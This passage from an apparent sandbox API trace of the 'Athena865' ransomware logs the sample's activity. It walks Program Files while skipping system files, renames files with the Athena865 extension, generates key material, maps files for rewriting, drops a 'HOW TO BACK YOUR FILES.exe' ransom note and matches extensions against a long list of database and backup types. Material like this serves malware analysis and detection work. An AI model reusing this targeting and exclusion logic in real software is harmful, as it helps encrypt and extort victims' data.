returned 0x530d20 [0068.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.851] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0068.852] CloseHandle (hObject=0x154) returned 1 [0068.852] CloseHandle (hObject=0x17c) returned 1 [0068.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.853] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6471c400, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6471c400, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x36580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ContactPicker.dll", cAlternateFileName="CONTAC~1.DLL")) returned 1 [0068.853] lstrcmpiW (lpString1="ContactPicker.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.853] lstrcmpiW (lpString1="ContactPicker.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.853] lstrcmpiW (lpString1="ContactPicker.dll", lpString2=".") returned 1 [0068.853] lstrcmpiW (lpString1="ContactPicker.dll", lpString2="..") returned 1 [0068.853] lstrcmpiW (lpString1="ContactPicker.dll", lpString2="windows") returned -1 [0068.853] lstrcmpiW (lpString1="ContactPicker.dll", lpString2="bootmgr") returned 1 [0068.854] lstrcmpiW (lpString1="ContactPicker.dll", lpString2="temp") returned -1 [0068.854] lstrcmpiW (lpString1="ContactPicker.dll", lpString2="pagefile.sys") returned -1 [0068.854] lstrcmpiW (lpString1="ContactPicker.dll", lpString2="boot") returned 1 [0068.854] lstrcmpiW (lpString1="ContactPicker.dll", lpString2="ids.txt") returned -1 [0068.854] lstrcmpiW (lpString1="ContactPicker.dll", lpString2="ntuser.dat") returned -1 [0068.854] lstrcmpiW (lpString1="ContactPicker.dll", lpString2="perflogs") returned -1 [0068.854] lstrcmpiW (lpString1="ContactPicker.dll", lpString2="MSBuild") returned -1 [0068.854] lstrlenW (lpString="ContactPicker.dll") returned 17 [0068.854] lstrcpyW (in: lpString1=0x241e89e, lpString2="ContactPicker.dll" | out: lpString1="ContactPicker.dll") returned="ContactPicker.dll" [0068.854] lstrlenW (lpString="ContactPicker.dll") returned 17 [0068.854] lstrlenW (lpString="Athena865") returned 9 [0068.854] lstrcmpiW (lpString1="icker.dll", lpString2="Athena865") returned 1 [0068.854] lstrlenW (lpString=".dll") returned 4 [0068.854] lstrcmpiW (lpString1="ContactPicker.dll", lpString2=".dll") returned 1 [0068.854] lstrlenW (lpString=".lnk") returned 4 [0068.854] lstrcmpiW (lpString1="ContactPicker.dll", lpString2=".lnk") returned 1 [0068.854] lstrlenW (lpString=".ini") returned 4 [0068.854] lstrcmpiW (lpString1="ContactPicker.dll", lpString2=".ini") returned 1 [0068.854] lstrlenW (lpString=".sys") returned 4 [0068.854] lstrcmpiW (lpString1="ContactPicker.dll", lpString2=".sys") returned 1 [0068.854] lstrlenW (lpString="ContactPicker.dll") returned 17 [0068.854] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll.Athena865") returned 70 [0068.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll.athena865"), dwFlags=0x1) returned 1 [0068.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.856] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=222592) returned 1 [0068.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.857] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.858] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.858] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.858] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36880, lpName=0x0) returned 0x154 [0068.866] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36880) returned 0x170000 [0068.876] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.877] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.877] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0068.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0068.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.879] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0068.881] CloseHandle (hObject=0x154) returned 1 [0068.881] CloseHandle (hObject=0x17c) returned 1 [0068.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.883] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CONVERT", cAlternateFileName="")) returned 1 [0068.883] lstrcmpiW (lpString1="CONVERT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.883] lstrcmpiW (lpString1="CONVERT", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.883] lstrcmpiW (lpString1="CONVERT", lpString2=".") returned 1 [0068.883] lstrcmpiW (lpString1="CONVERT", lpString2="..") returned 1 [0068.883] lstrcmpiW (lpString1="CONVERT", lpString2="windows") returned -1 [0068.883] lstrcmpiW (lpString1="CONVERT", lpString2="bootmgr") returned 1 [0068.883] lstrcmpiW (lpString1="CONVERT", lpString2="temp") returned -1 [0068.883] lstrcmpiW (lpString1="CONVERT", lpString2="pagefile.sys") returned -1 [0068.883] lstrcmpiW (lpString1="CONVERT", lpString2="boot") returned 1 [0068.883] lstrcmpiW (lpString1="CONVERT", lpString2="ids.txt") returned -1 [0068.883] lstrcmpiW (lpString1="CONVERT", lpString2="ntuser.dat") returned -1 [0068.883] lstrcmpiW (lpString1="CONVERT", lpString2="perflogs") returned -1 [0068.883] lstrcmpiW (lpString1="CONVERT", lpString2="MSBuild") returned -1 [0068.883] lstrlenW (lpString="CONVERT") returned 7 [0068.883] lstrcpyW (in: lpString1=0x241e89e, lpString2="CONVERT" | out: lpString1="CONVERT") returned="CONVERT" [0068.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c2c0 [0068.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x539ee0 [0068.883] lstrcatW (in: lpString1="CONVERT", lpString2="\\" | out: lpString1="CONVERT\\") returned="CONVERT\\" [0068.883] lstrcatW (in: lpString1="CONVERT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CONVERT\\HOW TO BACK YOUR FILES.exe") returned="CONVERT\\HOW TO BACK YOUR FILES.exe" [0068.883] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\how to back your files.exe"), bFailIfExists=1) returned 1 [0068.889] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1 [0068.889] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.889] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.889] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2=".") returned 1 [0068.889] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="..") returned 1 [0068.889] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="windows") returned -1 [0068.889] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="bootmgr") returned 1 [0068.889] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="temp") returned -1 [0068.890] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="pagefile.sys") returned -1 [0068.890] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="boot") returned 1 [0068.890] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="ids.txt") returned -1 [0068.890] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="ntuser.dat") returned -1 [0068.890] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="perflogs") returned -1 [0068.890] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2="MSBuild") returned -1 [0068.890] lstrlenW (lpString="CSS7DATA0009.DLL") returned 16 [0068.890] lstrcpyW (in: lpString1=0x241e89e, lpString2="CSS7DATA0009.DLL" | out: lpString1="CSS7DATA0009.DLL") returned="CSS7DATA0009.DLL" [0068.890] lstrlenW (lpString="CSS7DATA0009.DLL") returned 16 [0068.890] lstrlenW (lpString="Athena865") returned 9 [0068.890] lstrcmpiW (lpString1="A0009.DLL", lpString2="Athena865") returned -1 [0068.890] lstrlenW (lpString=".dll") returned 4 [0068.890] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2=".dll") returned 1 [0068.890] lstrlenW (lpString=".lnk") returned 4 [0068.890] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2=".lnk") returned 1 [0068.890] lstrlenW (lpString=".ini") returned 4 [0068.890] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2=".ini") returned 1 [0068.890] lstrlenW (lpString=".sys") returned 4 [0068.890] lstrcmpiW (lpString1="CSS7DATA0009.DLL", lpString2=".sys") returned 1 [0068.890] lstrlenW (lpString="CSS7DATA0009.DLL") returned 16 [0068.890] lstrlenW (lpString="bak") returned 3 [0068.890] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0068.890] lstrlenW (lpString="ba_") returned 3 [0068.890] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0068.890] lstrlenW (lpString="dbb") returned 3 [0068.890] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0068.890] lstrlenW (lpString="vmdk") returned 4 [0068.890] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0068.890] lstrlenW (lpString="rar") returned 3 [0068.890] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0068.890] lstrlenW (lpString="zip") returned 3 [0068.890] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0068.891] lstrlenW (lpString="tgz") returned 3 [0068.891] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0068.891] lstrlenW (lpString="vbox") returned 4 [0068.891] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0068.891] lstrlenW (lpString="vdi") returned 3 [0068.891] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0068.891] lstrlenW (lpString="vhd") returned 3 [0068.891] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0068.891] lstrlenW (lpString="vhdx") returned 4 [0068.891] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0068.891] lstrlenW (lpString="avhd") returned 4 [0068.891] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0068.891] lstrlenW (lpString="db") returned 2 [0068.891] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0068.891] lstrlenW (lpString="db2") returned 3 [0068.891] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0068.891] lstrlenW (lpString="db3") returned 3 [0068.891] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0068.891] lstrlenW (lpString="dbf") returned 3 [0068.891] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0068.891] lstrlenW (lpString="mdf") returned 3 [0068.891] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0068.891] lstrlenW (lpString="mdb") returned 3 [0068.891] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0068.891] lstrlenW (lpString="sql") returned 3 [0068.891] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0068.891] lstrlenW (lpString="sqlite") returned 6 [0068.891] lstrcmpiW (lpString1="09.DLL", lpString2="sqlite") returned -1 [0068.891] lstrlenW (lpString="sqlite3") returned 7 [0068.891] lstrcmpiW (lpString1="009.DLL", lpString2="sqlite3") returned -1 [0068.892] lstrlenW (lpString="sqlitedb") returned 8 [0068.892] lstrcmpiW (lpString1="0009.DLL", lpString2="sqlitedb") returned -1 [0068.892] lstrlenW (lpString="xml") returned 3 [0068.892] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0068.892] lstrlenW (lpString="$er") returned 3 [0068.892] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0068.892] lstrlenW (lpString="4dd") returned 3 [0068.892] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0068.892] lstrlenW (lpString="4dl") returned 3 [0068.892] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0068.892] lstrlenW (lpString="^^^") returned 3 [0068.892] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0068.892] lstrlenW (lpString="abs") returned 3 [0068.892] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0068.892] lstrlenW (lpString="abx") returned 3 [0068.892] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0068.892] lstrlenW (lpString="accdb") returned 5 [0068.892] lstrcmpiW (lpString1="9.DLL", lpString2="accdb") returned -1 [0068.892] lstrlenW (lpString="accdc") returned 5 [0068.892] lstrcmpiW (lpString1="9.DLL", lpString2="accdc") returned -1 [0068.892] lstrlenW (lpString="accde") returned 5 [0068.892] lstrcmpiW (lpString1="9.DLL", lpString2="accde") returned -1 [0068.892] lstrlenW (lpString="accdr") returned 5 [0068.892] lstrcmpiW (lpString1="9.DLL", lpString2="accdr") returned -1 [0068.892] lstrlenW (lpString="accdt") returned 5 [0068.892] lstrcmpiW (lpString1="9.DLL", lpString2="accdt") returned -1 [0068.892] lstrlenW (lpString="accdw") returned 5 [0068.892] lstrcmpiW (lpString1="9.DLL", lpString2="accdw") returned -1 [0068.892] lstrlenW (lpString="accft") returned 5 [0068.892] lstrcmpiW (lpString1="9.DLL", lpString2="accft") returned -1 [0068.892] lstrlenW (lpString="adb") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0068.893] lstrlenW (lpString="adb") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0068.893] lstrlenW (lpString="ade") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0068.893] lstrlenW (lpString="adf") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0068.893] lstrlenW (lpString="adn") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0068.893] lstrlenW (lpString="adp") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0068.893] lstrlenW (lpString="alf") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0068.893] lstrlenW (lpString="ask") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0068.893] lstrlenW (lpString="btr") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0068.893] lstrlenW (lpString="cat") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0068.893] lstrlenW (lpString="cdb") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0068.893] lstrlenW (lpString="ckp") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0068.893] lstrlenW (lpString="cma") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0068.893] lstrlenW (lpString="cpd") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0068.893] lstrlenW (lpString="dacpac") returned 6 [0068.893] lstrcmpiW (lpString1="09.DLL", lpString2="dacpac") returned -1 [0068.893] lstrlenW (lpString="dad") returned 3 [0068.893] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0068.893] lstrlenW (lpString="dadiagrams") returned 10 [0068.893] lstrcmpiW (lpString1="TA0009.DLL", lpString2="dadiagrams") returned 1 [0068.894] lstrlenW (lpString="daschema") returned 8 [0068.894] lstrcmpiW (lpString1="0009.DLL", lpString2="daschema") returned -1 [0068.894] lstrlenW (lpString="db-journal") returned 10 [0068.894] lstrcmpiW (lpString1="TA0009.DLL", lpString2="db-journal") returned 1 [0068.894] lstrlenW (lpString="db-shm") returned 6 [0068.894] lstrcmpiW (lpString1="09.DLL", lpString2="db-shm") returned -1 [0068.894] lstrlenW (lpString="db-wal") returned 6 [0068.894] lstrcmpiW (lpString1="09.DLL", lpString2="db-wal") returned -1 [0068.894] lstrlenW (lpString="dbc") returned 3 [0068.894] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0068.894] lstrlenW (lpString="dbs") returned 3 [0068.894] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0068.894] lstrlenW (lpString="dbt") returned 3 [0068.894] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0068.894] lstrlenW (lpString="dbv") returned 3 [0068.894] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0068.894] lstrlenW (lpString="dbx") returned 3 [0068.894] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0068.894] lstrlenW (lpString="dcb") returned 3 [0068.894] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0068.894] lstrlenW (lpString="dct") returned 3 [0068.894] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0068.894] lstrlenW (lpString="dcx") returned 3 [0068.894] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0068.894] lstrlenW (lpString="ddl") returned 3 [0068.894] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0068.894] lstrlenW (lpString="dlis") returned 4 [0068.894] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0068.894] lstrlenW (lpString="dp1") returned 3 [0068.894] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0068.894] lstrlenW (lpString="dqy") returned 3 [0068.894] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0068.895] lstrlenW (lpString="dsk") returned 3 [0068.895] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0068.895] lstrlenW (lpString="dsn") returned 3 [0068.895] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0068.895] lstrlenW (lpString="dtsx") returned 4 [0068.895] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0068.895] lstrlenW (lpString="dxl") returned 3 [0068.895] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0068.895] lstrlenW (lpString="eco") returned 3 [0068.895] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0068.895] lstrlenW (lpString="ecx") returned 3 [0068.895] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0068.895] lstrlenW (lpString="edb") returned 3 [0068.895] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0068.895] lstrlenW (lpString="epim") returned 4 [0068.895] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0068.895] lstrlenW (lpString="fcd") returned 3 [0068.895] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0068.895] lstrlenW (lpString="fdb") returned 3 [0068.895] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0068.895] lstrlenW (lpString="fic") returned 3 [0068.895] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0068.895] lstrlenW (lpString="flexolibrary") returned 12 [0068.895] lstrcmpiW (lpString1="DATA0009.DLL", lpString2="flexolibrary") returned -1 [0068.895] lstrlenW (lpString="fm5") returned 3 [0068.895] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0068.895] lstrlenW (lpString="fmp") returned 3 [0068.895] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0068.895] lstrlenW (lpString="fmp12") returned 5 [0068.895] lstrcmpiW (lpString1="9.DLL", lpString2="fmp12") returned -1 [0068.895] lstrlenW (lpString="fmpsl") returned 5 [0068.895] lstrcmpiW (lpString1="9.DLL", lpString2="fmpsl") returned -1 [0068.895] lstrlenW (lpString="fol") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0068.896] lstrlenW (lpString="fp3") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0068.896] lstrlenW (lpString="fp4") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0068.896] lstrlenW (lpString="fp5") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0068.896] lstrlenW (lpString="fp7") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0068.896] lstrlenW (lpString="fpt") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0068.896] lstrlenW (lpString="frm") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0068.896] lstrlenW (lpString="gdb") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0068.896] lstrlenW (lpString="gdb") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0068.896] lstrlenW (lpString="grdb") returned 4 [0068.896] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0068.896] lstrlenW (lpString="gwi") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0068.896] lstrlenW (lpString="hdb") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0068.896] lstrlenW (lpString="his") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0068.896] lstrlenW (lpString="ib") returned 2 [0068.896] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0068.896] lstrlenW (lpString="idb") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0068.896] lstrlenW (lpString="ihx") returned 3 [0068.896] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0068.896] lstrlenW (lpString="itdb") returned 4 [0068.896] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0068.896] lstrlenW (lpString="itw") returned 3 [0068.897] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0068.897] lstrlenW (lpString="jet") returned 3 [0068.897] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0068.897] lstrlenW (lpString="jtx") returned 3 [0068.897] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0068.897] lstrlenW (lpString="kdb") returned 3 [0068.897] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0068.897] lstrlenW (lpString="kexi") returned 4 [0068.897] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0068.897] lstrlenW (lpString="kexic") returned 5 [0068.897] lstrcmpiW (lpString1="9.DLL", lpString2="kexic") returned -1 [0068.897] lstrlenW (lpString="kexis") returned 5 [0068.897] lstrcmpiW (lpString1="9.DLL", lpString2="kexis") returned -1 [0068.897] lstrlenW (lpString="lgc") returned 3 [0068.897] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0068.897] lstrlenW (lpString="lwx") returned 3 [0068.897] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0068.897] lstrlenW (lpString="maf") returned 3 [0068.897] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0068.897] lstrlenW (lpString="maq") returned 3 [0068.897] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0068.897] lstrlenW (lpString="mar") returned 3 [0068.897] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0068.897] lstrlenW (lpString="marshal") returned 7 [0068.897] lstrcmpiW (lpString1="009.DLL", lpString2="marshal") returned -1 [0068.897] lstrlenW (lpString="mas") returned 3 [0068.897] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0068.897] lstrlenW (lpString="mav") returned 3 [0068.897] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0068.897] lstrlenW (lpString="maw") returned 3 [0068.897] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0068.897] lstrlenW (lpString="mdbhtml") returned 7 [0068.897] lstrcmpiW (lpString1="009.DLL", lpString2="mdbhtml") returned -1 [0068.898] 